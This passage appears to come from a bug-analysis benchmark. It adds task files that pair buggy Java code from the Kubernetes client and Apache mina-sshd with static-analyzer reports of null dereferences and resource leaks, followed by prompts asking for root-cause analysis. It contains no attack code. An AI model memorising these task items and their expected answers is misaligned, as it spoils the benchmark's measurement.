+    return exec(pod, command, pod.getSpec().getContainers().get(0).getName(), stdin, tty);
+  }
+
+  /**
+   * Execute a command in a container. If there are multiple containers in the pod, uses the first
+   * container in the Pod.
+   *
+   * @param pod The pod where the command is run.
+   * @param command The command to run
+   * @param container The container in the Pod where the command is run.
+   * @param stdin If true, pass a stdin stream into the container.
+   * @param tty If true, stdin is a TTY (only applies if stdin is true)
+   */
+  public Process exec(V1Pod pod, String[] command, String container, boolean stdin, boolean tty)
+      throws ApiException, IOException {
+    if (container == null) {
+      container = pod.getSpec().getContainers().get(0).getName();
+    }
+    return exec(
+        pod.getMetadata().getNamespace(),
+        pod.getMetadata().getName(),
+        command,
+        container,
+        stdin,
+        tty);
+  }
+
+  /**
+   * Execute a command in a container. If there are multiple containers in the pod, uses the first
+   * container in the Pod.
+   *
+   * @param namespace The namespace of the Pod
+   * @param name The name of the Pod
+   * @param command The command to run
+   * @param container The container in the Pod where the command is run.
+   * @param stdin If true, pass a stdin stream into the container.
+   * @param tty If true, stdin is a TTY (only applies if stdin is true)
+   */
+  public Process exec(
+      String namespace, String name, String[] command, String container, boolean stdin, boolean tty)
+      throws ApiException, IOException {
+    if (container == null) {
+      CoreV1Api api = new CoreV1Api(apiClient);
+      V1Pod pod = api.readNamespacedPod(name, namespace, "false", null, null);
+      container = pod.getSpec().getContainers().get(0).getName();
+    }
+    String path = makePath(namespace, name, command, container, stdin, tty);
+
+    ExecProcess exec = new ExecProcess(apiClient);
+    WebSocketStreamHandler handler = exec.getHandler();
+    WebSockets.stream(path, "GET", apiClient, handler);
+
+    return exec;
+  }
+
+  static int parseExitCode(ApiClient client, InputStream inputStream) {
+    try {
+      Type returnType = new TypeToken<V1Status>() {}.getType();
+      String body;
+      try (final Reader reader = new InputStreamReader(inputStream)) {
+        body = CharStreams.toString(reader);
+      }
+
+      V1Status status = client.getJSON().deserialize(body, returnType);
+      if (status == null) {
+        return -1;
+      }
+      if (V1STATUS_SUCCESS.equals(status.getStatus())) return 0;
+
+      if (V1STATUS_REASON_NONZEROEXITCODE.equals(status.getReason())) {
+        V1StatusDetails details = status.getDetails();
+        if (details != null) {
+          List<V1StatusCause> causes = details.getCauses();
+          if (causes != null) {
+            for (V1StatusCause cause : causes) {
+              if (V1STATUS_CAUSE_REASON_EXITCODE.equals(cause.getReason())) {
+                try {
+                  return Integer.parseInt(cause.getMessage());
+                } catch (NumberFormatException nfe) {
+                  log.error("Error parsing exit code from status channel response", nfe);
+                }
+              }
+            }
+          }
+        }
+      }
+    } catch (Throwable t) {
+      log.error("Error parsing exit code from status channel response", t);
+    }
+
+    // Unable to parse the exit code from the content
+    return -1;
+  }
+
+  protected static class ExecProcess extends Process {
+    private final WebSocketStreamHandler streamHandler;
+    private int statusCode = -1;
+    private boolean isAlive = true;
+    private final Map<Integer, InputStream> input = new HashMap<>();
+
+    public ExecProcess(final ApiClient apiClient) throws IOException {
+      this.streamHandler =
+          new WebSocketStreamHandler() {
+            @Override
+            protected void handleMessage(int stream, InputStream inStream) throws IOException {
+              if (stream == 3) {
+                int exitCode = parseExitCode(apiClient, inStream);
+                if (exitCode >= 0) {
+                  // notify of process completion
+                  synchronized (ExecProcess.this) {
+                    statusCode = exitCode;
+                    isAlive = false;
+                    ExecProcess.this.notifyAll();
+                  }
+                }
+                inStream.close();
+              } else super.handleMessage(stream, inStream);
+            }
+
+            @Override
+            public void failure(Throwable ex) {
+              super.failure(ex);
+              // TODO, it's possible we should suppress this error message, but currently there's
+              // no good place to surface the message, and without it, this will be really hard to
+              // debug.
+              ex.printStackTrace();
+              synchronized (ExecProcess.this) {
+                // Try for a pretty unique error code, so if someone searches they'll find this
+                // code.
+                statusCode = -1975219;
+                isAlive = false;
+                ExecProcess.this.notifyAll();
+              }
+            }
+
+            @Override
+            public void close() {
+              // notify of process completion
+              synchronized (ExecProcess.this) {
+                if (isAlive) {
+                  isAlive = false;
+                  ExecProcess.this.notifyAll();
+                }
+              }
+
+              super.close();
+            }
+          };
+    }
+
+    // Protected to facilitate unit testing.
+    protected WebSocketStreamHandler getHandler() {
+      return streamHandler;
+    }
+
+    @Override
+    public OutputStream getOutputStream() {
+      return streamHandler.getOutputStream(0);
+    }
+
+    @Override
+    public InputStream getInputStream() {
+      return getInputStream(1);
+    }
+
+    @Override
+    public InputStream getErrorStream() {
+      return getInputStream(2);
+    }
+
+    private synchronized InputStream getInputStream(int stream) {
+      if (!input.containsKey(stream)) {
+        input.put(stream, streamHandler.getInputStream(stream));
+      }
+      return input.get(stream);
+    }
+
+    @Override
+    public int waitFor() throws InterruptedException {
+      synchronized (this) {
+        this.wait();
+        return statusCode;
+      }
+    }
+
+    @Override
+    public boolean waitFor(long timeout, TimeUnit unit) throws InterruptedException {
+      synchronized (this) {
+        this.wait(TimeUnit.MILLISECONDS.convert(timeout, unit));
+        return !isAlive();
+      }
+    }
+
+    @Override
+    public synchronized int exitValue() {
+      if (isAlive) throw new IllegalThreadStateException();
+      return statusCode;
+    }
+
+    @Override
+    public synchronized boolean isAlive() {
+      return isAlive;
+    }
+
+    @Override
+    public void destroy() {
+      streamHandler.close();
+      for (InputStream in : input.values()) {
+        try {
+          in.close();
+        } catch (IOException ex) {
+          log.error("Error on close", ex);
+        }
+      }
+    }
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `pod.getSpec()`  at line 210.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+Process Exec.exec(String,String,java.lang.String[],String,boolean,boolean)
+
+### Procedure Id:
+io.kubernetes.client.Exec.exec(java.lang.String,java.lang.String,java.lang.String[],java.lang.String.fb7fe3774ec723a14eb143243b59062b
+
+### File:
+util/src/main/java/io/kubernetes/client/Exec.java
+
+### Key:
+Exec.java|exec|NULL_DEREFERENCE
+
+### Node Key:
+42f56fda1ad408e362508b93a175bb0c
+
+### Hash:
+a5828bddbe1683d9bb22bbd4854b1555
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6669/instruction.md b/inferredbugs-6669/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..27afbcbbd1626a131924d5e4cd87b93b8f8a0093
--- /dev/null
+++ b/inferredbugs-6669/instruction.md
@@ -0,0 +1,180 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** java
+**Bug ID:** 7
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+Copyright 2017 The Kubernetes Authors.
+Licensed under the Apache License, Version 2.0 (the "License");
+you may not use this file except in compliance with the License.
+You may obtain a copy of the License at
+    http://www.apache.org/licenses/LICENSE-2.0
+Unless required by applicable law or agreed to in writing, software
+distributed under the License is distributed on an "AS IS" BASIS,
+WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+See the License for the specific language governing permissions and
+limitations under the License.
+*/
+package io.kubernetes.client.util;
+
+import io.kubernetes.client.ApiClient;
+import io.kubernetes.client.util.credentials.AccessTokenAuthentication;
+import io.kubernetes.client.util.credentials.UsernamePasswordAuthentication;
+import java.io.FileReader;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.io.Reader;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+public class Config {
+  private static final Logger log = LoggerFactory.getLogger(Config.class);
+
+  public static final String SERVICEACCOUNT_ROOT = "/var/run/secrets/kubernetes.io/serviceaccount";
+  public static final String SERVICEACCOUNT_CA_PATH = SERVICEACCOUNT_ROOT + "/ca.crt";
+  public static final String SERVICEACCOUNT_TOKEN_PATH = SERVICEACCOUNT_ROOT + "/token";
+  public static final String ENV_KUBECONFIG = "KUBECONFIG";
+  public static final String ENV_SERVICE_HOST = "KUBERNETES_SERVICE_HOST";
+  public static final String ENV_SERVICE_PORT = "KUBERNETES_SERVICE_PORT";
+  // The last resort host to try
+  public static final String DEFAULT_FALLBACK_HOST = "http://localhost:8080";
+
+  public static ApiClient fromCluster() throws IOException {
+    return ClientBuilder.cluster().build();
+  }
+
+  public static ApiClient fromUrl(String url) {
+    return fromUrl(url, true);
+  }
+
+  public static ApiClient fromUrl(String url, boolean validateSSL) {
+    return new ApiClient().setBasePath(url).setVerifyingSsl(validateSSL);
+  }
+
+  public static ApiClient fromUserPassword(String url, String user, String password) {
+    return fromUserPassword(url, user, password, true);
+  }
+
+  public static ApiClient fromUserPassword(
+      String url, String user, String password, boolean validateSSL) {
+    return new ClientBuilder()
+        .setBasePath(url)
+        .setAuthentication(new UsernamePasswordAuthentication(user, password))
+        .setVerifyingSsl(validateSSL)
+        .build();
+  }
+
+  public static ApiClient fromToken(String url, String token) {
+    return fromToken(url, token, true);
+  }
+
+  public static ApiClient fromToken(String url, String token, boolean validateSSL) {
+    return new ClientBuilder()
+        .setBasePath(url)
+        .setAuthentication(new AccessTokenAuthentication(token))
+        .setVerifyingSsl(validateSSL)
+        .build();
+  }
+
+  public static ApiClient fromConfig(String fileName) throws IOException {
+    return fromConfig(new FileReader(fileName));
+  }
+
+  public static ApiClient fromConfig(InputStream stream) throws IOException {
+    return fromConfig(new InputStreamReader(stream));
+  }
+
+  public static ApiClient fromConfig(Reader input) throws IOException {
+    return fromConfig(KubeConfig.loadKubeConfig(input));
+  }
+
+  public static ApiClient fromConfig(KubeConfig config) throws IOException {
+    return ClientBuilder.kubeconfig(config).build();
+  }
+
+  /**
+   * Easy client creation, follows this plan
+   *
+   * <ul>
+   *   <li>If $KUBECONFIG is defined, use that config file.
+   *   <li>If $HOME/.kube/config can be found, use that.
+   *   <li>If the in-cluster service account can be found, assume in cluster config.
+   *   <li>Default to localhost:8080 as a last resort.
+   * </ul>
+   *
+   * @return The best APIClient given the previously described rules
+   */
+  public static ApiClient defaultClient() throws IOException {
+    return ClientBuilder.standard().build();
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.FileReader` acquired by call to `new()` at line 76 is not released after line 76.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+ApiClient Config.fromConfig(String)
+
+### Procedure Id:
+io.kubernetes.client.util.Config.fromConfig(java.lang.String):io.kubernetes.client.ApiClient.64363b46bc73c95e3728fb3f3d39ed21
+
+### File:
+util/src/main/java/io/kubernetes/client/util/Config.java
+
+### Key:
+Config.java|fromConfig|RESOURCE_LEAK
+
+### Node Key:
+f09f436fb0f5a58e4eb6c6bcc0fb6b8e
+
+### Hash:
+2769f1977a0d059c627dca769cb950ec
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6692/instruction.md b/inferredbugs-6692/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..334f8fe4df690d07e048c9d81abf614f70ed5f5a
--- /dev/null
+++ b/inferredbugs-6692/instruction.md
@@ -0,0 +1,209 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** mina-sshd
+**Bug ID:** 16
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ *  Licensed to the Apache Software Foundation (ASF) under one
+ *  or more contributor license agreements.  See the NOTICE file
+ *  distributed with this work for additional information
+ *  regarding copyright ownership.  The ASF licenses this file
+ *  to you under the Apache License, Version 2.0 (the
+ *  "License"); you may not use this file except in compliance
+ *  with the License.  You may obtain a copy of the License at
+ *
+ *    http://www.apache.org/licenses/LICENSE-2.0
+ *
+ *  Unless required by applicable law or agreed to in writing,
+ *  software distributed under the License is distributed on an
+ *  "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ *  KIND, either express or implied.  See the License for the
+ *  specific language governing permissions and limitations
+ *  under the License.
+ *
+ */
+package org.apache.sshd.agent;
+
+import org.apache.tomcat.jni.Library;
+import org.apache.tomcat.jni.Pool;
+
+import java.io.File;
+import java.io.IOException;
+
+
+/**
+ * Internal singleton used for initializing correctly the APR native library
+ * and the associated root memory pool.
+ *
+ * It'll finalize nicely the native resources (libraries and memory pools).
+ *
+ * Each memory pool used in the APR transport module needs to be children of the
+ * root pool {@link AprLibrary#getRootPool()}.
+ *
+ * @author <a href="http://mina.apache.org">Apache MINA Project</a>
+ */
+class AprLibrary {
+
+    // is APR library was initialized (load of native libraries)
+    private static AprLibrary library = null;
+
+    /**
+     * get the shared instance of APR library, if none, initialize one
+     * @return the current APR library singleton
+     */
+    static synchronized AprLibrary getInstance() {
+        if (!isInitialized())
+            initialize();
+        return library;
+    }
+
+    /**
+     * initialize the APR Library by loading the associated native libraries
+     * and creating the associated singleton
+     */
+    private static synchronized void initialize() {
+        if (library == null)
+            library = new AprLibrary();
+    }
+
+    /**
+     * is the APR library was initialized.
+     * @return true if the Library is initialized, false otherwise
+     */
+    static synchronized boolean isInitialized() {
+        return library != null;
+    }
+
+    // APR memory pool (package wide mother pool)
+    private final long pool;
+
+    /**
+     * APR library singleton constructor. Called only when accessing the
+     * singleton the first time.
+     * It's initializing an APR memory pool for the whole package (a.k.a mother or root pool).
+     */
+    private AprLibrary() {
+        try {
+            Library.initialize(null);
+        } catch (Exception e) {
+            throw new RuntimeException(
+                    "Error loading Apache Portable Runtime (APR).", e);
+        }
+        pool = Pool.create(0);
+    }
+
+    @Override
+    protected void finalize() throws Throwable {
+        library = null;
+        Pool.destroy(pool);
+        Library.terminate();
+        super.finalize();
+    }
+
+    /**
+     * get the package wide root pool, the mother of all the pool created
+     * in APR transport module.
+     * @return number identifying the root pool
+     */
+    long getRootPool() {
+        return pool;
+    }
+
+    static String createLocalSocketAddress() throws IOException {
+        String name;
+        String os = System.getProperty("os.name").toLowerCase();
+        if (os.indexOf("windows") < 0) {
+            File socket = File.createTempFile("mina", "apr");
+            socket.delete();
+            name = socket.getAbsolutePath();
+        } else {
+            File socket = File.createTempFile("mina", "apr");
+            socket.delete();
+            name = "\\\\.\\pipe\\" + socket.getName();
+        }
+        return name;
+    }
+
+    static void secureLocalSocket(String authSocket, long handle) throws IOException {
+        String os = System.getProperty("os.name").toLowerCase();
+        if (os.indexOf("windows") < 0) {
+            File file = new File(authSocket);
+            if (!file.setReadable(false, false) || !file.setReadable(true, true)
+                    || !file.setExecutable(false, false) || !file.setExecutable(true, true)) {
+                throw new IOException("Unable to secure local socket");
+            }
+
+        } else {
+            // should be ok on windows
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `getProperty("os.name")` could be null and is dereferenced at line 109.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+String AprLibrary.createLocalSocketAddress()
+
+### Procedure Id:
+org.apache.sshd.agent.AprLibrary.createLocalSocketAddress():java.lang.String.962ff4d84f8f052ee19fa13ca045579e
+
+### File:
+sshd-core/src/main/java/org/apache/sshd/agent/AprLibrary.java
+
+### Key:
+AprLibrary.java|createLocalSocketAddress|NULL_DEREFERENCE
+
+### Node Key:
+3136f63d7119a7aa69484bac205f617e
+
+### Hash:
+fe14c9b7604d0dfe3d3ee958fc018e2f
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6693/instruction.md b/inferredbugs-6693/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..6b3e222a33ce6979a06c164a024dca302ab05301
--- /dev/null
+++ b/inferredbugs-6693/instruction.md
@@ -0,0 +1,412 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** mina-sshd
+**Bug ID:** 6
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ *   http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied.  See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+package org.apache.sshd.server.command;
+
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.util.Arrays;
+
+import org.apache.sshd.server.CommandFactory;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+/**
+ * This commands provide SCP support on both server and client side.
+ * Permissions and preservation of access / modification times on files
+ * are not supported.
+ *
+ * @author <a href="mailto:dev@mina.apache.org">Apache MINA SSHD Project</a>
+ */
+public class ScpCommand implements CommandFactory.Command, Runnable {
+
+    private static final Logger log = LoggerFactory.getLogger(ScpCommand.class);
+
+    private boolean optR;
+    private boolean optT;
+    private boolean optF;
+    private boolean optV;
+    private boolean optP;
+    private File root;
+    private InputStream in;
+    private OutputStream out;
+    private OutputStream err;
+    private CommandFactory.ExitCallback callback;
+    private IOException error;
+
+    public ScpCommand(String[] args) {
+        if (log.isDebugEnabled()) {
+            log.debug("Executing command {}", Arrays.asList(args));
+        }
+        root = new File(".");
+        for (int i = 1; i < args.length; i++) {
+            if (args[i].charAt(0) == '-') {
+                for (int j = 1; j < args[i].length(); j++) {
+                    switch (args[i].charAt(j)) {
+                        case 'f':
+                            optF = true;
+                            break;
+                        case 'p':
+                            optP = true;
+                            break;
+                        case 'r':
+                            optR = true;
+                            break;
+                        case 't':
+                            optT = true;
+                            break;
+                        case 'v':
+                            optV = true;
+                            break;
+//                          default:
+//                            error = new IOException("Unsupported option: " + args[i].charAt(j));
+//                            return;
+                    }
+                }
+            } else if (i == args.length - 1) {
+                root = new File(args[args.length - 1]);
+            }
+            if (!optF && !optT) {
+                error = new IOException("Either -f or -t option should be set");
+            }
+        }
+    }
+
+    public void setInputStream(InputStream in) {
+        this.in = in;
+    }
+
+    public void setOutputStream(OutputStream out) {
+        this.out = out;
+    }
+
+    public void setErrorStream(OutputStream err) {
+        this.err = err;
+    }
+
+    public void setExitCallback(CommandFactory.ExitCallback callback) {
+        this.callback = callback;
+    }
+
+    public void start() throws IOException {
+        if (error != null) {
+            throw error;
+        }
+        new Thread(this).start();
+    }
+
+    public void run() {
+        try {
+            if (optT && !optR) {
+                ack();
+                writeFile(readLine(), root);
+            } else if (optT && optR) {
+                ack();
+                writeDir(readLine(), root);
+            } else if (optF) {
+                if (!root.exists()) {
+                    throw new IOException(root + ": no such file or directory");
+                }
+                if (root.isFile()) {
+                    readFile(root);
+                } else if (root.isDirectory()) {
+                    if (!optR) {
+                        throw new IOException(root + " not a regular file");
+                    } else {
+                        readDir(root);
+                    }
+                } else {
+                    throw new IOException(root + ": unknown file type");
+                }
+            } else {
+                throw new IOException("Unsupported mode");
+            }
+        } catch (IOException e) {
+            try {
+                out.write(2);
+                out.write(e.getMessage().getBytes());
+                out.write('\n');
+                out.flush();
+            } catch (IOException e2) {
+                // Ignore
+            }
+            log.info("Error in scp command", e);
+        } finally {
+            callback.onExit(0);
+        }
+    }
+
+    private void writeDir(String header, File path) throws IOException {
+        if (log.isDebugEnabled()) {
+            log.debug("Writing dir {}", path);
+        }
+        if (!header.startsWith("D")) {
+            throw new IOException("Expected a D message but got '" + header + "'");
+        }
+
+        String perms = header.substring(1, 5);
+        int length = Integer.parseInt(header.substring(6, header.indexOf(' ', 6)));
+        String name = header.substring(header.indexOf(' ', 6) + 1);
+
+        if (length != 0) {
+            throw new IOException("Expected 0 length for directory but got " + length);
+        }
+        File file;
+        if (path.exists() && path.isDirectory()) {
+            file = new File(path, name);
+        } else if (!path.exists() && path.getParentFile().exists() && path.getParentFile().isDirectory()) {
+            file = path;
+        } else {
+            throw new IOException("Can not write to " + path);
+        }
+        if (!(file.exists() && file.isDirectory()) && !file.mkdir()) {
+            throw new IOException("Could not create directory " + file);
+        }
+
+        ack();
+
+        for (;;) {
+            header = readLine();
+            if (header.startsWith("C")) {
+                writeFile(header, file);
+            } else if (header.startsWith("D")) {
+                writeDir(header, file);
+            } else if (header.equals("E")) {
+                ack();
+                break;
+            } else {
+                throw new IOException("Unexpected message: '" + header + "'");
+            }
+        }
+
+    }
+
+    private void writeFile(String header, File path) throws IOException {
+        if (log.isDebugEnabled()) {
+            log.debug("Writing file {}", path);
+        }
+        if (!header.startsWith("C")) {
+            throw new IOException("Expected a C message but got '" + header + "'");
+        }
+
+        String perms = header.substring(1, 5);
+        int length = Integer.parseInt(header.substring(6, header.indexOf(' ', 6)));
+        String name = header.substring(header.indexOf(' ', 6) + 1);
+
+        File file;
+        if (path.exists() && path.isDirectory()) {
+            file = new File(path, name);
+        } else if (path.exists() && path.isFile()) {
+            file = path;
+        } else if (!path.exists() && path.getParentFile().exists() && path.getParentFile().isDirectory()) {
+            file = path;
+        } else {
+            throw new IOException("Can not write to " + path);
+        }
+        OutputStream os = new FileOutputStream(file);
+
+        ack();
+
+        byte[] buffer = new byte[8192];
+        while (length > 0) {
+            int len = Math.min(length, buffer.length);
+            len = in.read(buffer, 0, len);
+            if (len <= 0) {
+                throw new IOException("End of stream reached");
+            }
+            os.write(buffer, 0, len);
+            length -= len;
+        }
+        os.close();
+
+        ack();
+        readAck();
+    }
+
+    private String readLine() throws IOException {
+        ByteArrayOutputStream baos = new ByteArrayOutputStream();
+        for (;;) {
+            int c = in.read();
+            if (c == '\n') {
+                return baos.toString();
+            } else if (c == -1) {
+                throw new IOException("End of stream");
+            } else {
+                baos.write(c);
+            }
+        }
+    }
+
+    private void readFile(File path) throws IOException {
+        if (log.isDebugEnabled()) {
+            log.debug("Reading file {}", path);
+        }
+        StringBuffer buf = new StringBuffer();
+        buf.append("C");
+        buf.append("0644"); // what about perms
+        buf.append(" ");
+        buf.append(path.length()); // length
+        buf.append(" ");
+        buf.append(path.getName());
+        buf.append("\n");
+        out.write(buf.toString().getBytes());
+        out.flush();
+        readAck();
+
+        InputStream is = new FileInputStream(path);
+        byte[] buffer = new byte[8192];
+        for (;;) {
+            int len = is.read(buffer, 0, buffer.length);
+            if (len == -1) {
+                break;
+            }
+            out.write(buffer, 0, len);
+        }
+        is.close();
+        ack();
+        readAck();
+    }
+
+    private void readDir(File path) throws IOException {
+        if (log.isDebugEnabled()) {
+            log.debug("Reading directory {}", path);
+        }
+        StringBuffer buf = new StringBuffer();
+        buf.append("D");
+        buf.append("0755"); // what about perms
+        buf.append(" ");
+        buf.append("0"); // length
+        buf.append(" ");
+        buf.append(path.getName());
+        buf.append("\n");
+        out.write(buf.toString().getBytes());
+        out.flush();
+        readAck();
+
+        for (File child : path.listFiles()) {
+            if (child.isFile()) {
+                readFile(child);
+            } else if (child.isDirectory()) {
+                readDir(child);
+            }
+        }
+
+        out.write("E\n".getBytes());
+        out.flush();
+        readAck();
+    }
+
+    private void ack() throws IOException {
+        out.write(0);
+        out.flush();
+    }
+
+    private void readAck() throws IOException {
+        int c = in.read();
+        switch (c) {
+            case 0:
+                break;
+            case 1:
+                System.out.println("Received warning: " + readLine());
+                break;
+            case 2:
+                throw new IOException("Received nack: " + readLine());
+        }
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.FileInputStream` acquired by call to `FileInputStream(...)` at line 276 is not released after line 288.
+**Note**: potential exception at line 279
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void ScpCommand.readFile(File)
+
+### Procedure Id:
+org.apache.sshd.server.command.ScpCommand.readFile(java.io.File):void.ba8563bfddb6e9e720f96a7b64c31669
+
+### File:
+sshd-core/src/main/java/org/apache/sshd/server/command/ScpCommand.java
+
+### Key:
+ScpCommand.java|readFile|RESOURCE_LEAK
+
+### Node Key:
+48815eab4c26cee962db00712b67bbd0
+
+### Hash:
+c26f569bb551a6ac31dbbdb1cedf09e9
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6694/instruction.md b/inferredbugs-6694/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..2bf4737aaab73fa3ccb8ef3f322554048b91be88
--- /dev/null
+++ b/inferredbugs-6694/instruction.md
@@ -0,0 +1,263 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** mina-sshd
+**Bug ID:** 28
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ *   http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied.  See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+package org.apache.sshd;
+
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.PipedInputStream;
+import java.io.PipedOutputStream;
+import java.security.KeyPair;
+import java.security.PublicKey;
+import java.util.List;
+
+import org.apache.sshd.agent.SshAgent;
+import org.apache.sshd.agent.local.ProxyAgentFactory;
+import org.apache.sshd.agent.local.LocalAgentFactory;
+import org.apache.sshd.agent.unix.AgentClient;
+import org.apache.sshd.agent.unix.AgentServer;
+import org.apache.sshd.client.channel.ChannelShell;
+import org.apache.sshd.common.KeyPairProvider;
+import org.apache.sshd.server.Command;
+import org.apache.sshd.server.Environment;
+import org.apache.sshd.util.*;
+import org.junit.Test;
+
+import static org.apache.sshd.util.Utils.createTestKeyPairProvider;
+import static org.apache.sshd.util.Utils.getFreePort;
+import static org.hamcrest.CoreMatchers.notNullValue;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeThat;
+
+public class AgentTest {
+
+    @Test
+    public void testAgent() throws Exception {
+        AgentServer agent = new AgentServer();
+        String authSocket;
+        try {
+            authSocket = agent.start();
+        } catch (UnsatisfiedLinkError e) {
+            // the native library is not available, so these tests should be skipped
+            authSocket = null;
+        }
+        assumeThat(authSocket, notNullValue());
+
+        SshAgent client = new AgentClient(authSocket);
+        List<SshAgent.Pair<PublicKey, String>> keys = client.getIdentities();
+        assertNotNull(keys);
+        assertEquals(0, keys.size());
+
+        KeyPair[] k = Utils.createTestHostKeyProvider().loadKeys();
+        client.addIdentity(k[0], "");
+        keys = client.getIdentities();
+        assertNotNull(keys);
+        assertEquals(1, keys.size());
+
+        client.removeIdentity(k[0].getPublic());
+        keys = client.getIdentities();
+        assertNotNull(keys);
+        assertEquals(0, keys.size());
+
+        client.removeAllIdentities();
+
+        client.close();
+
+        agent.close();
+    }
+
+    @Test
+    public void testAgentForwarding() throws Exception {
+
+        int port1 = getFreePort();
